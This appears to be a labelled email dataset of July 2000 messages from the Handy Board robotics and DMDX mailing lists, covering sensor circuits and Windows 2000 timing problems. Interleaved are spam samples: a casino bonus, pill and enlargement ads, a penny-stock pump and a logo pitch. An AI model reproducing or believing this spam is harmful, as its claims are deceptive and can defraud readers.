MS. Also there appears to be an outright error on Asus P2B motherboards (a single CPU MB) under win2k reading the performance timer so stick to win98. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ And on the seventh day, He exited from append mode. ",0,0 Steve Stevens ,handyboard@media.mit.edu,"Tue, 11 Jul 2000 17:11:12 +0000",Follow-up to Virus,"It is amazing what can be recovered off a disk, with the right tools. This is the data on the virus files. The document, final1r....doc, within the zip file 478eti.zip is the culprit. ""This file was quarantined.f M The file D:\\IC\\libs\\sample\\478eti[1].ZIP|finalr~1.doc is infected with the W97M.Melissa.A virus.0 P D:\\IC\\libs\\sample\\478eti [1].ZIP|finalr~1.doc s STEVENSL u stevensl v W97M.Melissa.A S Windows Scanner r  S R G p W a k(  t Y M Virus scanning completed. ",0,0 Robert Kelly ,handyboard@media.mit.edu,"Tue, 11 Jul 2000 17:15:41 +0000",Robot positioning,"Hello all, I am currently building a H board/exp board based robot that has (will have) the following sensors: Diffrential drive wheel encoders, hamamatsu sensors combined with the software from the H board site for motor control and distance counts for each wheel. 45"" wheels with at least 64 clicks per revolution resolution. Sonar mounted on pan/tilt head 5 GP2D12 sensors; four at each quadrant, non-movable and one mounted beside the above sonar on the pan/tilt mechanism Vector 2x Eltec 440 sensor light sensors My goal is to produce a robot, that among other things, can wander aimlessly (or locate a specific point or object or whatever) and after a specific time or other interrupt, return to its starting point. I want to do it in such a way as to not have to lay out a grid in memory or otherwise load a world model of some sort. I would like to be able to give the 'bot a mission, let it go and when the 'bot determines that it is finished, return to ""base"". The problem is, I have'nt the foggiest idea of how to accomplish this. I am not a math person and am not sure how to work the required x/y positioning calculations into the code/navigation algorithms. Questions: Can anyone tell me if my sensor suite is adequate for, at minimum, rough autonomous positioning? Can anyone point me in the right direction for detailed coding or mathematical information on the web for dealing with these types of calculations? Can any of you fine folks give me some pointers on how to accomplish my goals? Thanks alot, Bob K. ",0,0 Steve Stevens ,handyboard@media.mit.edu,"Tue, 11 Jul 2000 17:30:20 +0000",Melissa Virus,"I have found the source and fortunately it is not from a HB site. It was from the Washington and Lee University EE school. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jul 2000 14:37:15 -0700",[DMDX] Re: win2k SMP,"At 12:16 PM 7/11/00 -0700, you wrote: > Looks like people are going to have to avoid Windows 2000 on a > multi-processor motherboard, it appears that the high performance timer > DMDX uses returns different values depending upon which CPU is executing > -- and it's not a bug, it's a feature, thanks MS. Also there appears to > be an outright error on Asus P2B motherboards (a single CPU MB) under > win2k reading the performance timer so stick to win98. I am assured by MS that this is not by design, it is a bug...somewhere. So the version 2 TimeDX millisecond timer test will have code to check for QPC errors, only time will tell how long you have to run the test before you can be assured that your machine doesn't have these glitches. One thing seems certain, '98 is free of any QPC glitches and win2k is not. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ And on the seventh day, He exited from append mode. ",0,0 Kate Rasing ,"Robert Kelly , handyboard@media.mit.edu","Tue, 11 Jul 2000 15:06:10 -0400",Re: Robot positioning,"If you want to return to ""base,"" all you need is a beacon of some sort. For example, you could use CdS cells (or anything that finds EM in the visible light/low IR range) and a lightbulb (or series of lightbulbs, like a strand of Christms tree lights, that lead to a higher-emitting diode that indicates base), or a sonar transmitter/reciever pair, and create a behaviour called 'return' that looks for the signal and moves in that direction. If you wanted to be more advanced and definitely return to the base, you could also make sonar beacons for positioning (at different frequencies so it doesn't get confused), and tell the return behaviour that home is, say, beacon one distance x, beacon two distance y, beacon three distance z, and to go there (by, perhaps, finding beacon distance one, followint it to beacon distance two, and if that doesn't have beacon distance z, continue on until you hit beacon distance two and three). Of course, all three have their pluses and minuses, like the light bulb would only work so far, the sonar signals bounce off the wall, the CdS cells work best for light seeking in the dark, the sonar triangulation lets you make a map if you desire to... -Kate ------- Katherine Rasing Machine Intelligence Laboratory, University of Florida Department of Mechanical Engineering, Iowa State University Department of Mathematics, Iowa State University ----- Original Message ----- From: Robert Kelly Subject: Robot positioning > My goal is to produce a robot, that among other things, can wander aimlessly > (or locate a specific point or object or whatever) and after a specific time > or other interrupt, return to its starting point. I want to do it in such a > way as to not have to lay out a grid in memory or otherwise load a world model > of some sort. I would like to be able to give the 'bot a mission, let it go > and when the 'bot determines that it is finished, return to ""base"".",0,0 Russell Cormier ,handyboard@media.mit.edu,"Tue, 11 Jul 2000 23:00:04 +0400",casino cash journey ,"Hey, so glad to finally get hold of you, Log on to Hi Roller Casino and get $888 FREE Feel like getting rich in the comfort of your own home? Welcome to Hi Roller Casino, Where Fortunes are Made! Hi Roller Casino offers over 60 interactive games, including six progressive slots and three progressive games that have paid out some of the largest online jackpots in history! Even better. Hi Roller Casino will give you $10 Free when you download the free software and open a real account. Once you've opened your REAL account and made your first deposit, Hi Roller Casino will match it up to $888. All commercial transactions at Hi Roller Casino are facilitated by Proc-Cyber Services, a well-known and established e-cash merchant. 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Are there any problems that I should be aware of? Thanks, Matt **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 William Ho ,Kate Rasing ,"Wed, 12 Jul 2000 18:47:52 +0800",Re: Robot positioning,"Hi Kate, I just want to know how/where to get a sonar transmitter/reciever pair with different frequencies for robot positioning. Can sonar module from Polaroid do that? Thanks, William > > If you wanted to be more advanced and definitely return to the base, you > could also make sonar beacons for positioning (at different frequencies so > it doesn't get confused), and tell the return behaviour that home is, say, > beacon one distance x, beacon two distance y, beacon three distance z, and > to go there (by, perhaps, finding beacon distance one, followint it to > beacon distance two, and if that doesn't have beacon distance z, continue on > until you hit beacon distance two and three). ",0,0 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Jul 2000 15:00:55 +0100",[DMDX] Re: DMDX and Windows 2000,"At 10:24 12/07/00 +0100, you wrote: >What's the current status of DMDX and Windows 2000? I have had an enquiry >about whether DMDX is compatible with Windows 2000 and don't have a machine >available for me to test. Is anyone out there using DMDX with w2k? Are >there any problems that I should be aware of? Could I add a more specific question: I'm trying to set up DMDX to run on a new Viglen PIII 600, which has an ATI Rage XL video card. The machine is going to be one of about 50 in a practical lab, and they are all running Windows 2000 (for some reason we can't get the machines supported by computer services with any other operating system). The plan is to use DMDX to run class experiments next term. TimeDX (Version 1.05) seems to crash a fair bit when setting up (no message--it just pops out into Windows), but it is possible to set up parameters that work reasonably well. But then DMDX comes up with: GetDC for memory surface failed! DDERR_CANTCREATEDC (88760249) Windows can not create any more DCs at irregular intervals. The program then generally grinds to a halt and the computer needs to be rebooted. The control file I used for testing was a simple visual lexical decision experiment that works on other machines without any problems. Any ideas or suggestions welcomed. Thanks, Gareth Gaskell =========================================================== Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Web page: http://www-users.york.ac.uk/~mgg5/ =========================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Jul 2000 09:39:13 -0700",[DMDX] Re: DMDX and Windows 2000,"At 10:24 AM 7/12/00 +0100, you wrote: >What's the current status of DMDX and Windows 2000? I have had an enquiry >about whether DMDX is compatible with Windows 2000 and don't have a machine >available for me to test. Is anyone out there using DMDX with w2k? Are >there any problems that I should be aware of? I tested it on a K6 running win2k and it ran so it's a green light. Win2k still appears to be suffering from some bad drivers on a couple of motherboards w.r.t. the performance timer (that or one of the developers on the support listserve can't write code, a possibility), an Asus P2B and another 440BX based board (don't recall which, think it was Abit). I can release the current version of TimeDX v2, it won't store any values in the registry that DMDX v1 can use but it does have a millisecond timer test that will trap any bad behavior by the performance counter, you might have to run the test for an hour or two just to be sure though. Just be aware that you can't use anything that accesses the hardware directly under win2k, like the PIO12 or the RawJoystick devices. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Jul 2000 09:40:44 -0700",[DMDX] Re: DMDX and Windows 2000,"At 03:00 PM 7/12/00 +0100, you wrote: >Could I add a more specific question: I'm trying to set up DMDX to run on >a new Viglen PIII 600, which has an ATI Rage XL video card. The machine is >going to be one of about 50 in a practical lab, and they are all running >Windows 2000 (for some reason we can't get the machines supported by >computer services with any other operating system). The plan is to use >DMDX to run class experiments next term. > >TimeDX (Version 1.05) seems to crash a fair bit when setting up (no >message--it just pops out into Windows), but it is possible to set up >parameters that work reasonably well. But then DMDX comes up with: > >GetDC for memory surface failed! >DDERR_CANTCREATEDC (88760249) >Windows can not create any more DCs > >at irregular intervals. The program then generally grinds to a halt and >the computer needs to be rebooted. The control file I used for testing was >a simple visual lexical decision experiment that works on other machines >without any problems. > >Any ideas or suggestions welcomed. Get some new video drivers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 Harriett Eastman ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Jul 2000 15:12:14 -0500",Unique Logo design! (ID260411695),"das Our art team creates a custom logo for you, based on your needs. Years of experience have taught us how to create a logo that makes a statement that is unique to you. In a professional manner we learn about your image and how you would like the world to perceive you and your company. With this information we then create a logo that is not only unique but reflects the purpose of you and your company. For value and a logo that reflects your image, take a few minutes and visit Logo Maker! http://basil.net.logotip-marke.com Sincerely, Logo Design Team churchgoing crumple acuity ",1,1 John Hatton ,"JR , HB Mailing list ","Wed, 12 Jul 2000 15:27:07 +0100",Re: 6.8nF Capacitor,"I don't suppose you know what the formula is for calculating the value of the frequency ?. 1/(R4*C6) possibly ?. This equation gives 38396Hz (38.4KHz) which means that my 6.6nF caps give 39560Hz (39.6KHz) which is closer to 40KHz than the 6.8nF value listed. I would appreciate confirmation of this before I decide which component to use. Thanks for your help John Hatton johnhatton@email.com JR wrote: > Greetings: > The capacitor used on the handy board (c6) and resistor r4 set up an > oscillator for infrared output frequency. This signal does not have to be > an exact frequency. IE most infrared demodulators have a center frequency. > However the demodulator will operate within a range of a couple of kHz. You > can change the values (of course within reason) of c6 and r4 to yield the > frequency that you desire. > > Issue this command to start the Ir transmitter circuit: > > poke(0x1000, 0x40); > > this will start the transmission circuit. LED 9 will light. > use an oscilloscope to measure the signal at pin 2 of U9. This should be a > square wave of about 40kHz (39,000 Hz to 41,000 Hz will work). > > Issue the command from IC: > poke(0x1000, 0); > > This will turn off the transmission circuit and LED9 should go off. > ",0,0 Kate Rasing ,William Ho ,"Wed, 12 Jul 2000 12:32:39 -0400",Re: Robot positioning,"William - For my group project, we bought sonar transducers and built circuits for them. Our original recieving circuit is digital rather than analog as we were only going to have one. The circuits we used are on our group's website on our chronology page(http://www.mil.ufl.edu/~librarian/chron.html#sonar). My partners are going to be putting up the circuits we're now using (we switched from a one sonar transmitter and one reciever to six transmitters and two recievers) after they finish working out the bugs. I want to say that the guy we ordered with bought the transducers from bought them from either a local hobby store, Electronics Goldmine, or All Electronics. They're about $1.50 new, but if you can find them at surplus places, they are usually cheaper (Orlando's Skycraft store comes to mind, where they were about $0.50). I don't know anything about the Polaroid modules, but I helped my partners wire up the circuits, and they're not hard to do and the chips and other parts easy to get ahold of. But, if the Polaroid modules can be set or bought at to transmit at different frequencies, and the recievers recieve analog values and only one of those frequencies, I would think they would work. I'm not an electronics person, really, I'm the mechanical person on the team, so it's definitely possible that I'm wrong about the Polaroids. -Kate ------- Katherine Rasing Machine Intelligence Laboratory, University of Florida Department of Mechanical Engineering, Iowa State University Department of Mathematics, Iowa State University ----- Original Message ----- From: William Ho Subject: Re: Robot positioning > Hi Kate, > I just want to know how/where to get a sonar transmitter/reciever pair with > different frequencies for robot positioning. > > Can sonar module from Polaroid do that?",0,1 Steve Stevens ,handyboard@media.mit.edu,"Wed, 12 Jul 2000 18:57:20 +0000","""3D""","I see the variable ""3D"" used in several pieces of code. What is it and why can't I get my IC to recognize it? I keep getting a ""parse error close to D."" message when I try to use it. ",0,0 Richard Drushel ,"stevensl@spawar.navy.mil, handyboard@media.mit.edu","Wed, 12 Jul 2000 15:55:39 -0400","Re: ""3D""","[Steve Stevens] spake unto the ether: > I see the variable ""3D"" used in several pieces of code. What is it and why > can't I get my IC to recognize it? I keep getting a ""parse error close to D."" > message when I try to use it. I believe that IC variables must start with a letter a-z, A-Z, $ or _. Starting with a numeral 0-9 is illegal, yes? *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Rick Dale ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Jul 2000 00:15:44 -0400",[DMDX],"To any good Samaritan, I'm helping to assemble an experiment at the University of Toronto. The experiment is a controlled reading task (using some DMDX code offered by Ken earlier in this thread). The following is the case: 1) Each sentence is presented as a number of different items 2) The sentences vary in length As an example (not in the experiment, obviously): ! First sentence +1 ""I"" * ; +2 ""think."" * ; ! Second sentence +3 ""Therefore"" * ; +4 ""I"" * ; +5 ""am."" * ; We wish to scramble a presentation of such sentences, but the order of items making up an individual sentence must remain constant. Can this be accomplished in DMDX? Thanks in advance, Rick Dale",0,0 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Jul 2000 11:53:39 +0100",[DMDX],"Hi there, One way to do this is to included a continuous running item in the sentences to make them all the same number of items long, then group by this number so it will sort them but not mess up the order of each individual sentence.... > ! First sentence > +1 ""I"" * ; > +2 ""think."" * ; include here- 250 c; - then group by 3 on the first line... > > ! Second sentence > +3 ""Therefore"" * ; > +4 ""I"" * ; > +5 ""am."" * ; ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8574 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,0 John Hatton ,HB Mailing list ,"Thu, 13 Jul 2000 09:23:15 +0100",IR Transmission/Reception,"Can any body confirm what frequency the IR transmission/reception system on the HB should be working at ?. The documentation (HB Manual) states that the HB has a 38KHz system but the Assembly Manual states for testing the transmission circuit you should test for a frequency of 40KHz. Which is correct ?. Thanks John ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Jul 2000 15:39:26 +0100",[DMDX] Re: DMDX and Windows 2000,"Is the reason you suggest that Gareth gets new video drivers because W2K interacts with video drivers, cards and DirectX differently from 98/95? I gained the following half baked knowledge from talking to a programmer colleague. Is any of it correct or even getting there? (Oh how I enjoy displaying my complete ignorance to the whole world!) ...here goes... DC's (Device Contexts) a created when drawing to the screen and they are some kind of buffer for video display information. There can be a limit on how many can be created and this may be controlled by Windows or the video card. 95/98 probably has a different limit from W2K on the number you can create so you should make sure your video driver is specifically for W2K. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 John Hatton ,HB Mailing list ,"Thu, 13 Jul 2000 17:32:52 +0100",IR (formally 6.8nF cap),"I have asked for confirmation as to which frequency (38 or 40 KHz) is correct. As my current components should give me a frequency of 39KHz (1/3.883KOhm*6.6nF) I should be able to use either with out to much problem. I am thinking of using the output circuitry for the IR LED driver in conjunction with my hacked IR sensors which are rated for 40KHz so that I don't need to add extra circuitry. I am thinking of having the extra LEDs either chained in a serial or parallel configuration with the intended output LED (or maybe just replace it, however the LEDs for the sensors should realy be collimated for accuracy) and mounted with the associated sensor. Using the correct memory location I will turn the IR output on to produce the 39KHz carrier signal which the sensors should be able to use for distance measurement. Take the reading from the sensors (possibly multiplexing the values or maybe just feeding them into the analogue inputs) then turning the output off. Does this sound like a possible use ?. Thanks in advance for any help. John Hatton ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Jul 2000 12:37:04 -0700",[DMDX] Re: ,"At 12:15 AM 7/13/00 -0400, you wrote: >We wish to scramble a presentation of such sentences, >but the order of items making up an individual sentence >must remain constant. Can this be accomplished in >DMDX? Yes, look at the multi-scrambling stuff in the DMDX help file. If that doesn't cover your specific instance I will have to think about it, right now I am not able to commit the resources to figuring out the exact solution. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Jul 2000 12:47:22 -0700",[DMDX] Re: DMDX and Windows 2000,"At 03:39 PM 7/13/00 +0100, you wrote: >Is the reason you suggest that Gareth gets new video drivers because W2K >interacts with video drivers, cards and DirectX differently from 98/95? Yes and if there's one area win2k is currently woeful in it's drivers and more specifically, video drivers. Basically I saw DMDX run on one of my machines without a hitch, it runs on a very wide range on of other hardware and OS configurations so it's not likely to be an error in DMDX. Also, that particular company stands out in my mind as providing shoddy drivers. > I gained the following half baked knowledge from talking to a programmer >colleague. Is any of it correct or even getting there? (Oh how I enjoy >displaying my complete ignorance to the whole world!) > >...here goes... > >DC's (Device Contexts) a created when drawing to the screen and they are >some kind of buffer for video display information. There can be a limit on >how many can be created and this may be controlled by Windows or the video >card. 95/98 probably has a different limit from W2K on the number you can >create so you should make sure your video driver is specifically for W2K. They aren't a buffer, they describe the device's context, which font will be used, what size it is, whether it's italic or not, etc etc etc. That device can be a bitmap in memory, a video display, a printer, anything that can be drawn upon. 95 is limited to something like 16384 DCs, everything else is probably only limited by system resources. Errors like the one reported are caused by DCs not be being destroyed when a program is finished with them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 13 Jul 2000 17:07:13 +0000",Re: IR (formally 6.8nF cap),"there's not really a big diff in the performance of the ir sensors given 38 or 40 khz. so either is fine, +/- a few khz just doesn't really matter, you have to detune 10 khz or so for it to matter. there is an issue whereby there are two different varieties of hc132 chips, and depending on which kind you have, you need a very different R value (or C, but R is easier to change). here's more info: *** re: R4's value. Depending on the variety of the manufacture of the HC132 chip, R4 should be either 3.83K (Digikey 3.83KXBK-ND) or 6.81K (Digikey 6.81KXBK-ND). To test this, type ""bit_set(0x1000, 0x40);"" from the IC command line, and when the IR output circuit is active (as evidenced by the IR OUT LED9 being on), measure the frequency at pin 3 of the HC132. It should be 38 to 40 kHz. Use the 6.81K resistor to lower the frequency if it's too high; use the 3.83K resistor to raise it if it's too low. this info is avail in the latest parts list, at: http://el.www.media.mit.edu/projects/handy-board/hardware/partlist.html fred In your message you said: > I have asked for confirmation as to which frequency (38 or 40 KHz) is > correct. As my current components should give me a frequency of 39KHz > (1/3.883KOhm*6.6nF) I should be able to use either with out to much > problem. I am thinking of using the output circuitry for the IR LED > driver in conjunction with my hacked IR sensors which are rated for > 40KHz so that I don't need to add extra circuitry. I am thinking of > having the extra LEDs either chained in a serial or parallel > configuration with the intended output LED (or maybe just replace it, > however the LEDs for the sensors should realy be collimated for > accuracy) and mounted with the associated sensor. Using the correct > memory location I will turn the IR output on to produce the 39KHz > carrier signal which the sensors should be able to use for distance > measurement. Take the reading from the sensors (possibly multiplexing > the values or maybe just feeding them into the analogue inputs) then > turning the output off. Does this sound like a possible use ?. > > Thanks in advance for any help. > > John Hatton > ",0,1 Robert Kelly ,handyboard@media.mit.edu,"Thu, 13 Jul 2000 18:47:40 +0000",Pins to connect for stacking h bridges,"Hello all, I have built a robot before, and sold it, and had stacked H-Bridge chips. I had also fed in an alternate battery source. I want to do this again and can't remember which pin to use for pos battery terminal (pin # please). I am not an electronics guru and can never remember what all the pin definition shorthand means on the spec sheet, such as Vcc. Maybe somebody can define all of that shorthand so I can interpret the spec sheets myself? I've got to hook up some other stuff with only the shorthand to go by. Teach a man to fish.... I am using the same motors and use two 1 amp chips for each drive motor with no apparent heating of the chips. ",0,0 Nola Mclaughlin ,handyboard@media.mit.edu,"Thu, 13 Jul 2000 19:31:23 -0100",Re:,"Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. BWWNJULA We give you the issue! Make a quick, secure and ABSOLUTELY CONFIDENTIAL purchase online and receive your LICENSED love life enhancer right to your door! No privacy exposure, no time wasted, no exorbitant pri$es! Start a super life now! http://urbgiw.mediacanyon.com/?70925001 Our store is VERIFIED BY BBB! All transactions are APPROVED BY VISA! ",1,1 John Hatton ,"""Fred G. Martin"" , HB Mailing list ","Fri, 14 Jul 2000 08:39:59 +0100",Re: IR (formally 6.8nF cap),"So as the 39KHz value would be ok for either the IS1U60 (38KHz) or the hacked sensors (40KHz), will my idea for the hacked IR sensor distance measurement using the IR output circuitry to drive multiple LEDs also be valid ?. Thanks for the help. John Hatton. Fred G. Martin wrote: > there's not really a big diff in the performance of the ir sensors > given 38 or 40 khz. so either is fine, +/- a few khz just doesn't > really matter, you have to detune 10 khz or so for it to matter. > ",0,0 John Hatton ,HB Mailing list ,"Fri, 14 Jul 2000 11:59:17 +0100",HB power drain,"Does anybody know what sort of power drain the HB has when it is not driving any outputs (servos or motors) ?. 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In your message you said: > So as the 39KHz value would be ok for either the IS1U60 (38KHz) or the > hacked sensors (40KHz), will my idea for the hacked IR sensor distance > measurement using the IR output circuitry to drive multiple LEDs also be > valid ?. > > Thanks for the help. > > John Hatton. > > > Fred G. Martin wrote: > > > there's not really a big diff in the performance of the ir sensors > > given 38 or 40 khz. so either is fine, +/- a few khz just doesn't > > really matter, you have to detune 10 khz or so for it to matter. > > > ",0,0 """M. Belanger"" ",handyboard@media.mit.edu,"Sat, 15 Jul 2000 01:32:17 +0000",Re: HB power drain,"My board draws .068 amps when idle. MLB In lugnet.robotics.handyboard, John Hatton writes: >Does anybody know what sort of power drain the HB has when it is not >driving any outputs (servos or motors) ?. The reason I ask is that I am >thinking of having a rechargable 9v PP3 battery connected as a reserve >battery so that when the main battery gets too low the HB can shutdown >it's outputs to conserve power and when the battery finally gets too low >to power the HB it can swap to the 9v battery (about 120mAh) for >extended HB life. At the point that it shuts down the outputs it would >trigger a recovers signal of some form but I haven't gone into this that >much yet. > >Thanks > >John Hatton",0,0 Lonnie Clay ,handyboard@media.mit.edu,"Fri, 06 Jun 1997 02:28:01 +0100",Give Her A Better Than Average Lover," Gain Up To 3+ Full Inches In Length Increase Your Penis Width (Girth) By 20% Stop Premature Ejaculation Produce Stronger and Rock Hard Erections http://dadassong.com/ krause you zazen me, bonus . naacp you regional me, craze quartile villainous chinaman . completion you seasonal me, isochronous . utterance you seamstress me, soar . http://www.dadassong.com/47d/ ",1,1 Skylar ,handyboard@media.mit.edu,"Sat, 15 Jul 2000 15:58:01 -0500",What's happening in fitness world?,"it instantiate but nucleate some winch in catchy try eastbound ",1,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Mon, 17 Jul 2000 00:11:48 -0400",Handboard exp.,"Hi I have a small problem, I want to connect three sharp gp2d12s to the expansion board and I know I cant cut traces 0,1 and the gp2d12s need the pullups removed to operate correctly. How do I use them on the expansion board? Any help would be appreciated! Thanks -Mike ",0,0 John Hatton ,HB Mailing list ,"Mon, 17 Jul 2000 13:51:14 +0100",IR Sensor Hack,"I wrote the following email to Mekatronix regarding the sensor hack to convert Sharp GP1U58X or Y sensors to IR range finder sensors. The pdf documentation currently on their website just shows how to solder onto a trace within the sensor to give an analogue value with a rise time of about 100ms. I have dug out some of my original documentation that I obtained from either them or from the University of Florida site. This mentions replacing the surface mounted 0.1uF cap with a cap of the range 5 - 10nF to give a 1-2ms rise/fall time (the author managed less than 1ms using the 5nF option). The reason I am posting this here as well is to find out if anybody else has made this modification and knows which is the easiest way to replace the surface mounted capacitor. Thanks for any help. John Hatton johnhatton@email.com John Hatton wrote: > I have read the IR hack pdf file that is currently on your website. A > while back I also read the pdf file dated 8/9/96 (and listed as updated > by K. L. Doty on 5/4/96 underneath the title) which mentioned that the > rise/fall time could be improved by replacing the 0.1uF surface mount > capacitor with a 5nF capacitor. Could you verify that this is the case > and you have just left this out to minimise the modifications to the > sensor ?. Assuming that the change is valid what would the easiest way > be to replace the 0.1uF cap ?, cutting the traces to the cap and > resoldering the new one ?. I currently have a few 6.6nF polystyrene caps > (actually rated as 6.8 but they only measure as 6.6) so I would like to > modify a few of my sensors to get the best response from them. > > Thanks for your help. > > John Hatton > johnhatton@email.com ",0,0 John Hatton ,HB Mailing list ,"Mon, 17 Jul 2000 14:35:27 +0100",PWM decoding,"Has any body used the HB to decode the PWM signals from a radio control receiver ?. I'm not sure if it can be done (I haven't looked that deeply into it yet) but I am construction a six legged walker with the twelve servos being controlled by a single HC11 processor. The HB interfaces to the leg controller, I was thinking of whether it would be possible (mainly for testing purposes) for the HB to decode a 2 channel RC signal (forward/back and left/right) and send the relevant commands to the leg controller. Any ideas ?. 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Hartman"" ",handyboard@media.mit.edu,"Mon, 17 Jul 2000 19:08:33 +0000",Cabling concerns,"I am putting together a somewhat modular robot: The main controller and batteries are to be connected to peripheral motors (and controller) via cable-- around 5 feet distance. I'm looking for a connection cable that has enough pins for my data and electronic power/ground lines, but is hefty enough for the motor power and ground lines. All in all, I figure I need 6 low current lines and 2 high current lines (potentially carrying a few amps) -- or, maybe a few medium current lines to split up the load. Preferably, the cables would be compact; most importantly, I don't want any bulky plugs cluttering and adding weight. (Cable thickness is less of an issue.) 8P8C RJ45 would perfect, but I am pretty sure it couldn't carry the currents I need. Any thoughts? Thanks, Jake ",0,0 Ray Tang ,handyboard@media.mit.edu,"Mon, 17 Jul 2000 22:08:03 +0000","GP2D12 on port 28, 29, 30","Hi, I am thinking about putting three GP2D12 sensors on port 28, 29, 30 (because I am not thinking about using Lego Sensor, and I really like other analogue ports with the 1K pull-up resistors). Has anyone done it? Or is it a bad idea to uses these ports for this sensor? I think all I need is to cut the trace at the 10K pull-up, right? -- Ray ",0,0 Ray Tang ,handyboard@media.mit.edu,"Tue, 18 Jul 2000 13:50:00 +0000","RP: GP2D12 on port 28, 29, 30","Hi. Sorry if this is a repost. I don't think I was able to post this message last time. I am thinking about putting three GP2D12 sensors on port 28, 29, 30 (because I am not thinking about using Lego Sensor, and I really like other analogue ports with the 1K pull-up resistors). Has anyone done it? Or is it a bad idea to uses these ports for this sensor? I think all I need is to cut the trace at the 10K pull-up, right? -- Ray ",0,0 Ray Tang ,handyboard@media.mit.edu,"Tue, 18 Jul 2000 13:50:26 +0000",RP: What is a bobbin(sp)?,"Hi. Sorry if this is a repost. I don't think I was able to post this message last time. This is a silly question: What is a bobbin(sp)? I tried to find its function on-line or in textbooks, but I couldn't find much. A friend gave me a box filled with robot parts, including these things call bobbin. What are they? -- Ray ",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Wed, 19 Jul 2000 04:15:32 +0000",Re: What is a bobbin(sp)?,"Isn't a bobbin part of a sewing machine? I distinctly remember it being the thing underneath the needle that you needed to load with thread to make the whole thing work. Aha, a look at websters gives me the following definition: 5. (Elec.) A cylindrical or spool-shaped coil or insulated wire, usually containing a core of soft iron which becomes magnetic when the wire is traversed by an electrical current. --chris prosser ----- Original Message ----- From: ""Ray Tang"" To: Sent: Monday, July 17, 2000 11:07 AM Subject: What is a bobbin(sp)? > This is a silly question: What is a bobbin(sp)? I tried to find its > function on-line or in textbooks, but I couldn't find much. A friend gave > me a box filled with robot parts, including these things call bobbin. What > are they? > > -- > > Ray >",0,0 craig hamilton ,handyboard@media.mit.edu,"Wed, 19 Jul 2000 05:06:05 +0000",Re: What is a bobbin(sp)?,"In lugnet.robotics.handyboard, Ray Tang writes: >This is a silly question: What is a bobbin(sp)? I tried to find its >function on-line or in textbooks, but I couldn't find much. A friend gave >me a box filled with robot parts, including these things call bobbin. What >are they? > >-- > > Ray is it a cylinder (about the size of 2x2) with thin wall sides? (what a lego description!) then, it is an accessory for a sewing machine that holds the thread for the backstitch. older ones are metal; newer ones are plastic. later ~ craig~ ",0,0 xblxa looehii ,"DMDX@psy1.psych.arizona.edu, keisha@psy1.psych.arizona.edu, janelle@psy1.psych.arizona.edu, aaron@psy1.psych.arizona.edu","Wed, 19 Jul 2000 09:13:01 +0100",In motion for NEW PICK MONDAY it isday [HOT NEWS] hobbles acceptability afternoons,"Apparel Manufacturing Associates, Inc. (APPM.PK) Symbol : APPM Current Price : $ 0.21 Short Term Projected : $ 0.85 Watch this one, huge PR campaign underway, plus strong potential. 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When I connect them (after removing the analogue port 1 resistor and put the GP2D12 on port 24-26) I experience some weird problem. It seems the there is a short-circuit somewhere. I notice that when the servos start ""jumping"" and the voltage regulator starts heating up. Has anyone encounter this problem before? -- Ray ",0,0 """Marco A. A. de Oliveira"" ",BMajik5127@aol.com,"Wed, 19 Jul 2000 18:09:47 -0600",Re: Handboard exp.,"Hi, I believe an earlier post indicated that, since the analog inputs on the expansion board are multiplexed to the analog input 0 on the HB, if you cut the trace on analog port 0, the expansion board analog ports will all be ""pull-up resistor""-less. One cut 